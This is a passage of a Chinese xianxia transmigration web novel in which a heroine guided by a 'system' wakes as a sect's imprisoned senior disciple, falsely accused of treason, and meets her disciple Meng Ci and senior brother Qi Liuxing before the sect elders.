季白抬眸看向窗外的月亮,暗自思索着从这里离开的办法,看来正规程序是不行了,她只能想办法逃出去。 季白正想的入神时,脑海中突然又响起了熟悉的电子音。 【滴,连接成功。】 【第二个副本世界渡苍生即将开启,本副本是以仙侠世界为背景,请宿主做好准备。】 季白一听系统这道冰冷的电子音就气得冒鬼火,上个副本世界说是普通的古代世界结果没一个正常人,差点就死在副本世界了,就算不死,那痛彻心扉的痛季白到现在也还记得,她是打死也不想经历第二次了。 【你让我去仙侠世界做任务,不如现在就把我杀了。】 说是普通人的男主们都已经那么难搞了,她不敢想象有了仙侠的加持,那些人会变态成什么样。 【反抗无效。】 【副本世界已开启,本次任务时间为一个月,请宿主抓紧时间尽快完成任务。】 系统话音刚落,季白只觉眼前一黑,等她再次睁开眼就感觉到了彻骨的冷意,冷到骨头缝里都透着刺人的痛。 入目是一片黑暗,一点光也没有,滴滴答答的滴水声不断在她耳边响起,手腕被坚硬如铁的手铐箍住,脚悬在空中踩不到任何东西,坠得她的手腕刺痛,胳膊也已经麻木到没有任何知觉了。 季白:…… 她就知道第二次的副本没那么简单,开局比上一个副本还炸裂。 上一个副本至少还安安稳稳得在床上躺着,这次就直接被当做犯人绑起来了。 系统的提示音再次在耳边响起。 【你的身份是太清宗的大师姐,是太清宗开宗仙尊卫云台的徒弟,与师兄戚流星一同长大,二百年前你收了徒弟孟辞,细心教导,随着魔尊李承仙一百年前的现世,修仙界中无端陨落的仙人越来越多,大能们都怀疑是李承仙所为,可修仙界却因卫云台无故失踪不是魔界对手,而拿魔尊李承仙毫无办法。】 【三天前,有人状告你勾结魔尊李承仙,且与仙陨案有关,故而将你锁在此地,等待处决。】 【本次任务通关条件。】 【1:洗清冤屈。】 【2:获取男主们的先天一气。】 【3:找出仙陨案的幕后真凶。】 季白余怒未消。 【我不做,你现在就杀了我算了。】 季白也想试试看,她脑中的这个奇怪东西,到底能不能真的杀死她,还是说只是虚张声势。 系统沉默了一会,说。 【你不是想从精神病院逃出去吗?只要你完成任务,我就帮你逃出去。】 季白一听这话,冷笑一声。 【少给我画饼了,上次任务结束还说有奖励,我的奖励呢?】 【你的奖励已经在你的手上了。】 季白一脸不解,她的手被绑着,哪有什么奖励? 季白正想要质问,只听得一声脆响,无边的黑暗被人劈开了一道缝隙,霎那间,光从缝隙中透了出来,无形的屏障在重压下一寸寸破碎成漫天的星光。 季白抬眸看去,就见一黑衣少年握着剑与环绕在他四周的星光一同坠了下来,风吹得他衣袂飘然,青丝飞舞,黑沉沉的眼眸无比专注地望着季白,像极了冷肃果决的少年将军。 系统的声音恰时在你耳边响起。 【检测到目标人物——孟辞。】 30-40 31 第31章 少年生得红唇齿白,可苍白的肤色与清泠泠的眼眸,使他看起来冷酷寡言,不好相处。 他就是原主精心教导的徒弟孟辞吗? 季白对上他那双担忧又坚定的眼眸,在脑海中问系统。 【你刚刚说的先天一气是什么东西?我又该怎么获得它?】 【先天一气是修行者最本源的力量,获取方式是男主们的吻。】 季白一听这话,感觉这次的任务比上一次简单很多。 至少不需要她费心去找道具了,只需要男主们的一个吻。 这才是像是正常的恋爱游戏啊! 【这么简单?】 系统沉默着没有说话,过了一会方说。 【并没有你想的那么容易。】 季白心想,只是一个吻而已,能有多难? 【成功获取先天一气时,宿主额头的花钿会发烫,若花钿毫无反应,则说明获取失败。】 季白正想再问问系统,这次的难度和上个副本比起来如何时,孟辞已来至季白身前。 他冷着一张脸握着长剑抬手就朝季白的方向劈来,吓得她心肝乱颤,以为又是一个被始乱终弃的疯子,开局就要劈死她。 上一次遇见褚师怀时,她好歹还能动一动,这一次她被吊在这儿,躲都没处躲。 凌厉的剑招带着开山破海的气势,让人毫不怀疑自己会被这一剑碾碎,季白闭上了眼,可预想中的疼痛并没有到来。 只听头顶响起一声尖锐的脆响,是金石相撞的声音,手铐应声而断,季白瞬间没了支撑,整个人向下坠去,骤然的失重感,让季白惊恐地睁开了眼,本能地想要抓住什么。 她见少年凌空立在她三步远的位置,而他也是她四周唯一可以抓住的东西。 季白朝他伸出手,希望少年能拉她一把,让她不至于摔下去。 可孟辞却惊得瞪大了眼,使他冷峻的眉眼多了一分可爱。 明明不断往下坠的人是她,可吓傻的人却是孟辞。 季白眼睁睁看着自己下坠的速度越来越快,也离他越来越远,而她的好徒弟孟辞丝毫没有伸手拉她的意思。 好好好,不是要砍她,是想摔死她是不是。 孟辞很快反应过来,迅速朝她的方向飞来并抬起了手,季白以为他终于想通要拉她一把了,结果他只是抬手在空中捏了个诀…… 季白无语,对他已经不抱任何希望,正打算想法子自救。 下一秒,就坠入一个柔软的东西上,像是绵软的云朵一样紧紧包裹着她。 她低头一看身下是一团氤氲的雾气,半个身子都没在雾气里看不真切,而在这团雾气的下面是深不见底的深渊。 “师父,你还好吗?” 耳边传来少年清越的声音,季白抬起头就见孟辞追了上来,在离她三步远的地方停下,乌黑的眼眸里藏着担忧。 “我没事。”季白又多看了他几眼,发现孟辞虽神色担忧,可行为举止都极为规矩,似是生怕有哪里做得不对而冲撞了她。 看她的眼神也清清白白,只有对师父的敬爱,没有半分男女之情。 季白有点奇怪,难道这次的副本和上次的不一样? 【这次的男主们是不是还没有爱上我,需要我去攻略他们?】 如果是这样的话,季白能明白为什么这一次获取道具的方式是一个吻了。 【不需要。】 【再次强调所有副本中的男主们对你的爱意都是满级,无需攻略。】 满级? 季白又看了看孟辞,半点也没看出来这小子喜欢她,但系统也不至于在这种问题上骗她。 孟辞感受到季白打量的目光,苍白的面庞上没有任何表情变化,只是迅速低头打量了自己一眼,确定衣着得体后,再次低头询问:“师父,可是我身上有何处不妥?” 季白摇了摇头,“没有,你怎么来了?” 孟辞握紧腰间的佩剑,声音很低却很坚定,“我来救师父离开。” 他说到这儿,抬脚往前走了半步,可又很快退了回去,握着剑的指尖因太过用力泛起一圈白,“他们已经认定师父勾连魔族,与仙陨案有关,就待仙尊回来后就要处决师父。” “师父,你跟我走吧,我一定能带师父杀下山去,届时天高任鸟飞,就算是仙尊回来,也拿我们毫无办法。” 季白一听这话,心中立即拉响了警报。 这人怎么和褚师怀一样,就想着带她走? 想到褚师怀的疯劲,季白立时感觉后背直发凉。 她吃过一次教训了,因而没有立时反驳孟辞,而是谨慎地询问,“你是我徒弟,对我应该很了解吧?” 孟辞诧异地看了她一眼,似是不明白她为什么这么问,但眸光一转,似是又想到了什么。 “师父莫不是在入囚仙塔前被九十九道天雷劈散了记忆?” 季白连连点头,“应该是的,我现在很多事都不记得了,你是我徒弟,自然了解我的为人,你说,我是不是真的勾结了魔族?” 季白自然知道自己是冤枉的,她这么问也不过是试探孟辞的态度罢了。 孟辞立即道:“师父冰清玉洁,怀珠抱玉,岂会与魔族为伍?” 季白松了口气,说出早已想好的说辞,“我是被冤枉的了?那我就不能和你走了,仙尊是我师父,他高山景行,举世无双,想来定不会冤了我,我若此时同你离开,日后世人提起我,只会说我是勾结魔族的叛徒,我岂能受此污名苟活于世?” 季白这番话看似说的义正言辞,其实她在说每一个字的时候,都小心观察着孟辞的神色,生怕他听见她不愿意跟他走后,和褚师怀一样突然发疯。 但他听完后很正常,眼中依旧清清白白,没有一丝疯狂的执拗。 孟辞松开握剑的手,端端正正地立在季白面前,脚下是和她一样的一团雾气。 “好,师父既然不走,我就在这儿陪着师父一起面对。” 季白一脸惊讶地看着他,又想到了最后放她离开的羽生。 她的心忍不住变得柔软了几分,或许不是每一个男主都那么疯狂。 “你又没犯错,留在监牢里做什么?” 孟辞对上季白惊讶的眼神,嘴角微不可闻地向上弯了弯,耐心同季白解释,“我为救师父一路闯杀了进来,已犯下滔天罪行,等他们追上来,也是要抓我入囚仙塔,不如我就在此等着,还能同师父做个伴。” 季白想劝他逃走,可转头又想到自己刚刚义正言辞的话,又憋回去了。 孟辞从怀中取出一玉瓶,半低着头双手托着玉瓶奉到季白面前,“师父,这是我带来的伤药,可治愈您身上被天雷劈过的伤。” 季白接过玉瓶,打开吃了一粒,整个过程中他都低着头没有看季白一眼,直至季白吃完把玉瓶还给他,孟辞方重新抬起头,似乎是觉得看季白吃东西是一件极为冒犯的事。 季白捏了捏指尖,这个徒弟也太乖太正常了吧。 或许他的态度就是一个正常徒弟对待师父的态度,可她所在的世界可不是正常的世界,他这样的态度就反而显得古怪了。 “我以前……很苛责你吗?” 季白想,原主之前不会是对孟辞很严厉,所以养成他这种对待师父小心翼翼的行为举止。 那要是这样的话,这孟辞也真够变态的,反正她是绝对不会喜欢对自己非常严厉的老师,反而是看见就想跑得程度。 “师父对我很好。” “那你为何……这般客气?” 孟辞低眸道:“师徒之礼皆是如此。” 太正常了,太正常了,正常到季白反而觉得变态的人是她。 【系统,这个游戏世界也是怨念丛生的崩坏世界吧?】 【自然,需要你做任务的世界都是如此。】 【那……这个世界的男主们的数值和行为也失控了?】 【是。】 季白不理解,又看了看规规矩矩,一袭黑衣的孟辞。 他很安静,又穿着黑衣,站在阴影里时,如同人的影子一般,让人时常感受不到他的存在。 【可他看起来很正常啊。】 【他们是修仙世界的男主。】 季白懂了。 【他们有修为,所以可以用修为抵抗怨念,对吗?】 【不,他们只是……更能掩藏。】 系统冷冰冰的电子音给予季白一种过电的心颤,后背升腾起一阵凉意。 季白恍然间觉得自己是掉入了怪物四伏的山谷。 白天,山谷内鸟语花香,阳光明媚,可到了晚上隐藏在暗处的怪物就会扑出来将她撕扯成碎片吞入腹中。 【这次副本的难度和上一个比起来,哪一个更难?】 【如果说上一个副本是新手难度,这次的副本最少也是困难。】 季白只觉眼前一黑,把她折磨得死去活来的上一个副本还只是新手难度? 她瞬间感觉人生无望,不如这一个月就躺在囚仙塔算了。 系统看出季白的沮丧,主动劝解道。 【你别沮丧,在这次的副本中,你实力强大,整个修仙界打得过你的不超过五个。】 【呵呵,不超过五个,是不是其中有四个都是其他男主?】 系统一噎。 【你还有从上一个世界带来的奖励,它们也能给你提供极大的帮助。】 【什么奖励?】 【在你的右手。】 32 第32章 季白从氤氲雾气中抬起自己的手,一眼就看见了无名指上墨色的戒指。 【这枚戒指就是我的奖励?】 季白仔细端详着这枚戒指,通体乌黑的戒身上刻着繁复的花纹,她越看越眼熟,总觉得好似在哪里见过。 突然,她脑中灵光一闪,眼前浮现出一个人的脸。 【这枚戒指是羽生的戒指吗?】 【是的。】 季白眯了眯眼睛,所以她在上个副本中辛辛苦苦找来的道具,最后又回到了她的手上。 她又想到了自己在做完第一个副本任务时,她在虚无的黑暗中看见的画面碎片,她已经不记得画面上到底有什么,但只要一想起来心头就会无端涌上一股莫名的悲伤。 或许她和副本里的原主,真的有脱不开的关*系。 【颜色怎么不一样了?】季白问。 原本的戒指通体洁白,戒身上还镶有一枚黑钻,可季白手里这枚却变得通体乌黑,戒指上的黑钻也没了。 季白摸了摸戒身上的纹路,像是那枚黑钻被炼化成染料掩盖了原本的白。 【如今的样子方是其本貌。】 【一枚戒指能帮的上什么忙,难道它是什么很厉害的法器?】 【请宿主摸着戒指用心感受。】 季白闭上眼睛依言照做,等她再次睁开眼睛时,发现自己眼前变成了一片星海,仿若是置身于宇宙,空气都变得沉闷,滞涩。 季白低头看了眼脚下,脚下的地板也是透明的,有一种随时会坠下去的不安感。 她迈开腿试着走了两步,沉闷的空间里传来清脆的脚步声,她回过头去,看见了一张洁白的桌子,整体的设计看起来非常的富有科技感。 光滑到反光的桌面上摆放着另外两样她熟悉的东西,一盆花,一把弓。 之前还未开花的长寿花现下开得繁茂,她刚走近就闻到了一股浓郁的花香,让她更为惊讶的是,花枝上还坠着一颗沉甸甸的果子。 长寿花也会结果子吗? 而褚师怀的那把弓也和之前大不一样了,它先前只能算得上是一件凡间的珍品,可现在看起来却像是仙器了,褐色的弓身变成了白色,散发着五色光华,让她在一瞬间想到了彩虹,唯一不变的还是弓身上的神秘纹路。 季白摸了摸手指上的戒指,感觉自己像是在玩一个有意思的拼图游戏。 系统适时在她脑海中给她解释。 【这把弓威力巨大,哪怕是这个副本中最强的人也受不住这一箭。】 季白顿时来了兴趣。 【这么强?】 她欣喜地把弓握在手里,可当指尖触碰到弓身上的纹路时,脑海中莫名地浮现出当初褚师怀教她练箭的画面,她的目光沉了沉,又握紧了弓身。 是巧合吗,还是说一切都是被人刻意安排过的剧本? 如果当初褚师怀没有教她,她现在拿到这把弓也未必会用。 【以你现在的能力,只能射一箭。】 季白顿时有点失望,好吧,能用一箭也算是个保命的手段了。 【长寿花上的果实你吃下后对你的灵魂有极大的助益。】 季白放下弓看向花枝上饱满诱人的果实,但她并没有立即吃下。 这种入口的东西还是谨慎一点得好,她突然又想到当初羽生执意让她喝下的那盏茶,还说只要喝了它就能永远和他在一起。 那盏茶里到底有什么,如果只是普通的迷药,他不会那么说。 【系统,当初羽生给我的茶里是不是还添了别的东西。】 系统沉默不语。 果然,只要是系统不想回答的问题,它就假装听不见。 【那这把弓我要用它的话怎么取呢,总不能先进入戒指空间再拿弓箭出去和对面打,要是真的遇到生死关头,我箭还没拿出来,就先被对面的人打死了。】 【只要你需要这把弓,它就会出现在你手中。】 季白想大概是可以用意念控制的东西,她闭上眼睛试了试,手上果然多了一把弓。 毕竟是关键时刻可以保命的手段,季白正打算多练习几次,就听见孟辞的声音。 “师父,有人来了。” 季白一回神就见孟辞警惕地站在她面前,像是守卫国王的勇士。 她顺着孟辞的目光看了过去,就看见大批身着白衣的修士从孟辞劈砍出的缺口那儿涌了进来。 季白注意到为首的修士他们的白衣上滚着金边,其余的或是滚紫边,红边,看得出来这应该是太清宗的统一着装。 季白看了看孟辞身上别出一格的黑衣,问:“你的衣服怎么和他们不一样?” 孟辞神色平静地说:“因为我够强。” 明明是很拽的话,可他说的一本正经,显得更拽了。 季白忍不住暗想,孟辞这种性格,真的不会走夜路被人打吗? 转瞬间,那些人已经到了季白面前,这些人来势汹汹,她和孟辞又犯了重罪,恐怕免不了责罚,她正想着应当如何应对时,为首的弟子却对她极为客气地说:“师伯,长老传您去金乌台问话。” 季白诧异地看了来人一眼,他的态度可不像是对一个犯人的态度。 孟辞看出季白的疑惑,嘴巴没动,可季白却在脑海中听见了孟辞的解释。 “师父是太清仙尊的亲传弟子,又实力强大,因而哪怕师父如今蒙冤入狱,他们这些人也不敢冒犯师父。” 这就是修仙界的传音吗? 还挺神奇的。 季白也想悄悄给孟辞说话,但忘记如何使用的她,也只能作罢。 她还不知道的是,传音之术虽不是上乘术法,但只有极为亲密的关系方可以使用。 为首的人说完后又看了眼季白身前的孟辞,但他的眼神压根不敢和孟辞的眼神接触,就又连忙低了下去。 这位杀神刚刚连伤囚仙塔数百名弟子,一路闯上来劈开了就连长老们都劈不开的结界。 他们一直知道孟辞虽为三代弟子,但实力却比许多二代弟子还要强,可没想到他竟能强到这种地步。 此人从前就是太清宗里有名的怪胎,沉默寡言,从不与人交往,因这个沉闷的性子,他刚入太清宗时还被人欺负过,后来随着实力增长,加之这个人的性子实在古怪得如顽石一般,油盐不进,任别人如何议论,辱骂他,他都泰然处之,似是半点也不在意他们说什么,又似是他的眼里根本没有他们的存在。 直至有一个人嘴上没门,无意间辱了季白,那是他们第一次看见孟辞有那么大的反应,他当着众人的面,无视同门劝阻,将那人打得一年都下不了床,围观那场单方面殴打的师兄师姐们说,现在都还记得孟辞当时的眼神,阴冷的,刻骨的,似是要将那人碎尸万段。 后来,大家都知道了,你可以随便当着孟辞的面骂他本人,他都不会理会你,可若是波及到了季白,你就自求多福吧。 久而久之,宗门里的人都在暗地里骂他是季白的鹰犬,是护师狂魔。 古怪的是,有人曾说,孟辞第一次听到这个称呼的时候,万年不变的冰块脸竟然笑了。 孟辞,人们眼中一个让人害怕又琢磨不透的怪胎。 季白注意到为首那人对待孟辞的态度,比起害怕她,反而更像是因害怕孟辞而不敢冒犯她。 她上前一步,故意拉了拉孟辞的袖摆,低声问:“我怎么感觉他们好像都很怕你啊?” 孟辞垂眸看了眼被季白抓住的袖摆,眼眸闪了闪,唇角微不可闻地向上扬了一点点,“因为我是师父的徒弟啊,他们怕屋及乌。” 一旁的弟子们听了孟辞这句话,顿时惊出了一背的冷汗。 孟辞什么时候用这种语气说过话?哦,孟辞和他们基本不说话,偶尔有不得不交流的时候,语气也冷得和冰一样,哪像现在这样清越如溪水,温柔似春风。 这样的声音在季白听来就是正常的男子声音。 可正常放在孟辞这样的怪胎身上,就已经是不正常了。 算了,孟辞这样的护师狂魔,在他最爱的师父面前夹一点又怎么了呢? 季白冲孟辞笑了下,没说话,而后看向前来的弟子们,道:“我们走吧。” 虽然男主们的先天一气很重要,但她还没有忘记另外两个任务,一是洗清冤屈,二是找出仙陨案的真凶。 这两样任务一直关在囚仙塔里可完不成。 季白跟着他们往外走,孟辞则跟在季白的身后,可没走几步,前来带他们的人就一脸为难。 “师伯,长老们只传师伯前往,并没有传孟辞去。” 季白回眸看了眼孟辞,孟辞抱着剑跟在她身后,脸上没什么表情,就似一个沉默的守卫,但季白却无端从他的眼神里看出来,他在担心她,想和她一起去。 季白想了想,虽说太清仙尊不在,其余长老暂时还不会处决她,但万一陷害她的人有了新的手段,要伤她性命。 她现在没有记忆,虽有一身修为却使不出来,万一真遇到危险,可就遭了。 带着实力强大的孟辞,好歹能多一分保障。 “长老们知道孟辞强闯囚仙塔,打伤同门的事了吗?” “知道了。” “既然如此,长老们审完我,肯定也要审问孟辞,不如一同前去,省得你们再麻烦,若长老真的怪罪你们,也由我一人承担。” 为首的弟子暗想,你承担?你现在都在囚仙塔里呢,你能承担什么? 但他的目光在撞上孟辞冰冷的眼睛时,顿时换了一张笑脸,点头道:“师伯说得在理。” 他宁愿因办事不利,被长老大骂一顿,也不愿被孟辞打。 【作者有话说】 吃完再写下一章,今天可以更两章啦~ 33 第33章 季白跟着他们出了囚仙塔,温暖的阳光落在她的身上,使她冰冷的身子逐渐得以回暖,她极目望去,只见四周群山环绕,云雾缥缈,山峰之上玉殿林立,倒真是一副仙家景象。 孟辞跟在季白的身后,始终保持着三步远的距离。 季白回头看了一眼孟辞,阳光下他身上的黑色劲装折射出银白的纹饰,像是银鱼的鳞片,又似是湖面漾起的波光,革质的黑色腰封勾勒出他劲瘦的腰身,高高束起的墨发垂在他的脑后随着走动在空中微微晃动,给他冷酷的面庞增添了一抹神秘与张扬。 季白这才发现原来他的衣服并不是纯黑的,上面还绣有精细的暗纹,刚刚在囚仙塔里,没有阳光,看不出衣服上的纹路,只当是一件普通的黑衣,如今在阳光下再看,倒是多了几分不凡与贵气。 季白惦念着孟辞的先天一气,想着总是这么客气可不行,就挥了挥手让他走到自己身边来,可孟辞却是一愣,随后低下头轻声说:“与师父同行时,徒儿应紧随其后,不可与之并肩。” 季白也不是一个好脾气的人,见他不肯,“哦”了一声也就随他去了。 孟辞似是看出季白有所不满,连忙快走了两步,在季白身后问:“师父生气了?” “没有。”季白说。 季白以为这下孟辞应该能明白她的意思了,站到她身旁来和她一起走,结果他也只是低低地应了一声后,又退回去了。 气得季白恨不能自己转过身去,拉着他亲一下算了。 可惜系统的要求是要男主吻她,季白不太明白两者有什么区别,反正最终的结果都是嘴对嘴,得到先天一气,谁先主动的,有那么重要吗? 季白没有回头看孟辞,因而没有看见,他眼中一闪而过的失落。 好像无论他怎么做,师父对他都不满意。 金乌台修得大气磅礴,从脚下走的台阶到屋顶的瓦片皆是由金光闪烁的黄金所制,而在大殿的最高处则立着一只振翅欲飞的金乌。 季白盯着它看了一会,总觉得有点不太舒服,像是全身的血液都在莫名的沸腾,她收回视线,继续往殿内走。 殿内的层高似是有百米之高,使人一进去就感觉自己如沧海一粟,微乎其微,领着他们来的人早已在外间停下,偌大的金殿里只剩下季白和跟在她身后的孟辞,寂静的空间里他们的脚步声如同钟表的时针一样,滴滴答答得打在她的心上。 季白紧张的捏了捏指尖,抬眸看去,只见在大殿的尽头依次开凿出了五个巨大的深窟,最中间的位置空荡荡的没有人,只有一个巨大的十色莲蓬散发出圣洁的柔光,右一的深窟中立着一人,或者已经不能说是人了,更像是神明的法相。 三头千臂,身披三色薄纱,眉目庄严地盯着她,顿时间排山倒海的压力像她压了过来,似是要将她碾碎一般,霎时间,季白就出了一身的汗,身体也受不住得要跪下去。 这时,她身后的孟辞上前一步,如山般的压力顿时消解了不少,季白半跪在地上喘了口气,回眸看了孟辞一眼,孟辞本就苍白异常的面色如今比纸还要白,鬓角也出了一层微薄的汗,他没有说话,只是静静看着季白。 季白心下感激,但在这种时候,显然不适合说话。 她又收回视线看了看其余几位长老,殿上共有四位长老,除了那位三头千臂,立在那儿眉目庄严的长老外,其余三位各有千秋,不过他们的头和手臂倒是正常,三位或立或坐,但无一不是法相庞大,近乎百米之高,季白的个头还比不上他们的一个脚指头。 季白估摸着中间的位置应是已经失踪许久的太清仙尊的位置,也是她的师父。 季白看了看这四位长老顿时感觉前途一片昏暗,系统的意思是要让她得到这玩意的吻? 她多看一眼,都感觉是亵渎和冒犯啊。 不过,心里叫归叫,这四位长老的目光让她感觉极为不舒服,沉闷的压力始终压得她的心闷闷得,喘不上气,仿佛再多呆一秒,她就要窒息而亡了。 “季白,你在囚仙塔三日可有悔过?”如洪钟般庄严肃穆的声音传入她耳,震得季白的耳朵嗡嗡作响。 “各位长老,弟子季白在塔内三日每一时每一刻都在想着这件事,我左思右想,翻来覆去也想不明白弟子错在何处。” “放肆!”一道三种音色夹杂在一起的声音在季白耳边如同惊雷般炸开,“你身为太清仙尊的亲传弟子,宗门内的大师姐,不一心向善,勤勉笃行,友爱同门,反倒勾结魔族,杀害同门,如今还堂而皇之地说出不知错在何处这样的荒谬之语,你可对得起你师父的教导?” 这人的话音刚落,另有一道温暖慈爱的女声响起:“季白,想你也是太清仙尊之弟子,我等也是看着你长大,知道你本心地纯良,绝非大奸大恶之辈,你此番误入歧途,想来其中定有隐情,只要你说出来,念在你修行不易,也曾为宗门出过力,我等自会从轻发落。” 季白低着头不言语,脑袋却在飞速运转,这三位长老的实力看起来甚为高强,刚刚孟辞帮她抵挡威压时,脸都白成那个样子了。 逃肯定是行不通的,可若要解释她不是凶手,她没有之前的记忆,压根拿不出证据,眼下师尊不在,她只能是咬死不认了。 上首的长老们见她半晌无言,忽有一人厉声道:“季白!你当真以为太清仙尊不在,我等就拿你没办法了吗?!” “你犯下的滔天罪行,人神共愤,就算是仙尊在,他也断不能容你!” 季白听到这儿,脑中灵光一闪,太清仙尊失踪多日了,宗门内全靠几位长老主事,按说一个宗门的宗主没了,接任者定然是他的弟子,如今宗主之位悬空,上首的几位长老未必没有上位的心思,偏偏她又在这时被人污蔑勾结魔族,残害同门。 她总觉得这背后害他之人定然就是在上首的四位长老之中,那人畏惧师尊的实力,不敢明目张胆地对她下手,就做出此局,让四位长□□同做下处决她的决定,就算将来事发,也会有另外三位长老替他承担仙尊的怒火。 季白立即仰头答道:“弟子冤枉,弟子从未勾结魔族,残害同门,我已是宗主之徒,实力强大,未来光明,何必自断前程?” “你还敢狡辩!当真是冥顽不灵!” 紧接着季白就听见那人对其余几位长老说:“诸位,此子难以教化,作恶太深,今日又纵容徒弟孟辞强闯囚仙塔,打伤同门无数,实在难以饶恕,如今仙尊不在,我等掌宗门诸事,自该由我等商议处决,若是再留着她的性命,他日难保又惹出什么祸事。” 季白抬眸一看说话的是一位留花白长须的老头,虽是老头,可面目凶煞,半点也没有慈眉善目的古道仙风之感,怀里还抱着一把铜钱剑,背后背着双刀和一条钢鞭,怒目圆睁的模样像极了地狱的鬼煞。 季白有点恍惚,总感觉这里的仙侠世界和她在电视上看到的仙侠世界不太一样。 “这……不妥吧。”眉目慈爱,面容柔美的女道人犹疑道,“季白毕竟是仙尊的亲传弟子,她犯了罪,该由仙尊处决,我等贸然处决,待来日仙尊归来,恐惹仙尊不快。” “哎,仙尊都失踪一甲子了,音讯全无,谁知仙尊何时能回来?若诸事都等仙尊回来处理,如何来得及?” “你们今日也看见了,季白险些从囚仙塔里逃出去,若再留之不决,让她跑了残害更多的同门,你我岂不铸成大错?” “凌云长老言之有理,那就依你之言。”说这话的人的声音里夹杂着三种音色,就是那个有三个头的长老。 众人议定后,由右一那位三头千臂的长老厉声道:“季白,你勾结魔族,残杀同门,已是罪大恶极,关入囚仙塔后不知反省,还敢教唆徒弟劫狱,今日我等一同议定要将你推入刑台,引诛仙雷诛之。” 季白一听这话,连忙道:“等等。” “等等。” 另有一道等等与她的声音相互应和,季白回头一看就见金殿尽头出现一位着交领青衫的俊朗青年,宽大的袖袍随着他的走动而在空中飘扬,宛若流风回雪,转瞬间,此人已经走到了她的身旁。 脑海中的系统再一次在季白的耳中响起。 【检测到目标人物——戚流星。】 原来是她的师兄,既然是同门师兄,那么肯定是来帮她的吧。 季白眼含惊喜地看着他,希望他能帮她说几句话,不说洗清她的冤屈,至少先别让她被杀了。 “戚流星,你不是带人在泰州除妖吗,怎么突然回来了?你可知在外除妖者,无诏回宗可是大罪。” 季白听了这话,皱了皱眉头,越发觉得其中有鬼。 太清仙尊不在,他的徒弟一个被派出去除妖,一个被陷害入狱。 看来当务之急应该是先找到失踪已久的太清仙尊,方能彻底洗清她的冤屈,从而找到幕后的真凶。 戚流星扬眸一笑,“我在外听闻师妹伏法,自然是要来看个热闹。” 季白:??? 这人是来看热闹的? 戚流星说着,还转过头来,冲季白贱兮兮地笑了一下,“似我师妹这般嚣张跋扈,罪大恶极,心狠手辣,无情无义的小人,早就该伏法了。” “哎,可惜啊,我之前这么说一直没人肯相信我的话,都说是我嫉妒师妹,编谎话瞎说呢,如今真相大白,我也算是沉冤得雪,此身分明了。” 34 第34章 好好好,这人不仅是来看热闹的,还专程落井下石来了。 她这次到底是拿的什么剧本啊。 男主一对她恭敬到畏之如虎,男主二故意同她作对,还落井下石。 这哪里像是深爱她的样子,原主该不会是修仙文里常见的恶毒大师姐吧? 季白叹了口气,看来关键时刻还得靠自己。 她看了看眼前四位如同大山一般的长老,在心中问系统。 【有没有可能,我一箭把他们四个全杀了?】 系统:【!】 【你的任务是洗清冤屈,不是罪加一等!】 戚流星说话时,孟辞掀起眼皮看了他一眼,握着剑的手紧了紧,最后还是又放了回去。 上首四位长老中唯一的女长老出言道:“流星,别胡闹了,你这次回来到底是为了什么事,难道是泰州出事了吗?” 戚流星收起脸上不正经的笑容,拱手抱拳道:“回禀四位长老,泰州确实出大事了。” “只是此事与师妹有所联系,有她在场我不便禀明四位长老。” 季白皱眉问道:“既然与我有关,为何我不能听?” “师妹现在可是罪人。”戚流星又是挑眉一笑,“我太清宗的机密怎能说给一个罪人听?” 季白毫不犹豫地反唇相讥,“我都要被处决了,马上就是一个死人,有什么秘密是一个死人听不得的?” 戚流星一听这话,当即变了脸色,弄得季白有点莫名其妙。 上首的长老厉呵一声:“行了!你们师兄妹二人拿金乌台当做什么地方?” 全宗门上下也只有太清仙尊的这对徒弟敢在金乌台这样的地方旁若无人的争吵,其他弟子进了殿后连抬个头都不敢。 戚流星连忙回身道:“众位长老,泰州的事事涉师妹,确实不应留她在旁听着。” 女长老叹了一声:“就依你。” 她话落如山峰般的手指捏起怀中红梅的一瓣花瓣,轻轻一吹,那鲜红的花瓣落地后就化为一身着红裙的女童。 “梅九,先带季白下去。” 季白与孟辞一起前往侧殿等着,金灿灿的大殿空荡荡的,这里的整体风格与外间那些漂亮精致的宫宇不同,这里大开大合没有任何一点多余的装饰,给人一种肃穆沉闷之感。 季白暗自猜着戚流星会和长老们说什么,可她脑海中的线索实在有限,只得转过头问孟辞:“孟辞,我之前和这位师兄的关系如何?” 孟辞垂眸想了想,说:“师父之前和师伯的关系不算好,你们二人常常争锋相对。” 季白听了后没有说话,观戚流星刚刚对她的态度,看起来确实不像是相亲相爱的师兄妹,但他们的不好,到底是人前的伪装,还是真的因为什么事而分崩离析? 不管是哪一种,他们对她的爱意应该都不会变。 季白正想得入神,又听见孟辞突然低声道:“但这一次师伯应当会帮着师父。” 季白抬眸看向他,“你如何知道?” 孟辞被季白直白的眼神盯得有些不知所措,他低下头不言语,试图混过去,季白却不给他这个机会。 “你为什么说他这一次会帮我?” “难道你知道他要和长老们说什么?” 孟辞还是不言语,季白使出杀手锏。 “孟辞,你是我的徒弟,既然你这么向着戚流星,那你就去做他的徒弟好了。” 这招虽然幼稚,但很有用。 孟辞连忙道:“其实我也不知师伯会和长老们说什么,但师父出事的当天,师伯来找过我,他让我无论如何也要护住师父三天,师伯……平日虽然与您不太对付,但毕竟是同门师兄弟,您出事,他自然不会置之不理。” 季白看了看孟辞又回想起刚刚见过面的戚流星,目前来看这里的男主比上一个副本的男主们正常很多,眼中没有执拗的爱意与疯狂,反而一个比一个清白克制。 但她没有忘记系统说的话,他们并不是没有,只是会掩藏而已。 “你还记得是何人陷害我吗?” “状告师父的人是外门的一位弟子,他已经人死魂灭了,临死前他冲到人群之中,口口声声说是师父杀他,还说师父您勾结魔族,长老们立即就派人调查了此事,后来果真在师父的住所搜出了沾染魔气的法器与丹药。” 季白皱了皱眉头,那人死在了众目睽睽之下,背后之人还真是心狠手辣,哪怕将来就算有证据证明她无罪,流言依旧会大肆在人群中散播。 “四位长老都是什么样的人?” 季白只凭刚刚的接触,就觉得他们已经不像是人了,更像是一尊不可逾越的神像,他们看过来的目光就代表着绝对的正义与天道。 这让季白不由开始好奇她的师父到底是怎样的人,能压住那样四个厉害的长老。 “四位长老分别是凌云上仙,凌霄上仙,清瑶上仙,玄阳上仙……” 孟辞正和季白说着太清宗里的事,就听另一边有脚步声传来,两人同时看了过去,戚流星大摇大摆地走了进来,脸上还挂着明朗的笑容,只是这笑容怎么看都有种欠揍的嘚瑟感。 他抬手扔给季白一个牌子,挑眉道:“小师妹,这次你可得跟我走了。” 季白接过牌子一看,洁白的玉牌上镶刻着一只金乌,玉料摸上去十分舒服,竟有一种涤荡神魂的感觉。 “跟你去哪?” “泰州。” “泰州?我为什么要和你去泰州?长老们不杀我了?” 